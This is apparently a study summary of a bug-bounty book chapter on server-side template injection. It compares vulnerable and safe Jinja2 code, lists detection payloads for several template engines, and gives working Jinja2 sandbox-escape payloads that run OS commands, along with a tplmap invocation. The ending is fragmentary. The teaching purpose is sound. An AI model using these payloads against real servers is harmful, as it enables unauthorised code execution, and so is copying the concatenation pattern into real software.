Source: Bug Bounty Bootcamp by Vickie Li
Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than passed in as a safe data variable.
Vulnerable code (Python/Jinja2):
from jinja2 import Template tmpl = Template("<html><h1>Hello: " + user_input + "</h1></html>") tmpl.render()
Safe code:
tmpl = Template("<html><h1>Hello: {{name}}</h1></html>") tmpl.render(name=user_input)
When code is vulnerable, submitting {{1+1}} returns 2 in the page – the template engine executed the expression.
Any field that gets displayed back to the user is a candidate: URL parameters, query strings, form fields, file uploads, HTTP headers. Look especially for endpoints that render user input in generated emails, profile pages, or name fields.
Submit this polyglot error-inducing string:
{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]
If the server returns an error or renders unexpectedly, template injection is likely. Also try these engine-specific payloads:
| Payload | Works in |
|---|---|
| {{7*7}} | Jinja2, Twig, Smarty (Python/PHP) |
${7*7} | FreeMarker, Thymeleaf (Java) |
<%= 7*7 %> | ERB (Ruby) |
If any of these returns 49, SSTI is confirmed.
If input is placed inside expression tags already (e.g., {{user_input}}), just submit 7*7 without the brackets and check if 49 is returned.
jinja2.exceptions.UndefinedError)7777777 in Jinja2, 49 in Twig<%= 7*7 %> returning 49 – ERB${7*7} returning 49 – FreeMarker or Thymeleaf
Jinja2 blocks direct import and os, but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the catch_warnings class, which has access to builtins.
List all subclasses of object:
{{[].__class__.__bases__[0].__subclasses__()}}
Find catch_warnings and access builtins:
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{ x()._module.__builtins__ }}
{% endif %}
{% endfor %}
Execute a system command (e.g., ls):
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'catch_warnings' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').system('ls') }}
{% endif %}
{% endfor %}
Safe PoC – create a file with a distinct name:
{% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').system('touch ssti_poc_by_your_name.txt') }}
{% endif %}
{% endfor %}
Other template engines require different syntax and sandbox-escape methods – consult engine-specific documentation and PortSwigger's SSTI research.
tplmap (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines:
python3 tplmap.py -u "http://example.com/page?name=INJECT_HERE"
${7*7}, <%= 7*7 %> to detect SSTI.${1+abcxx}<%1+abcxx%>[abcxx].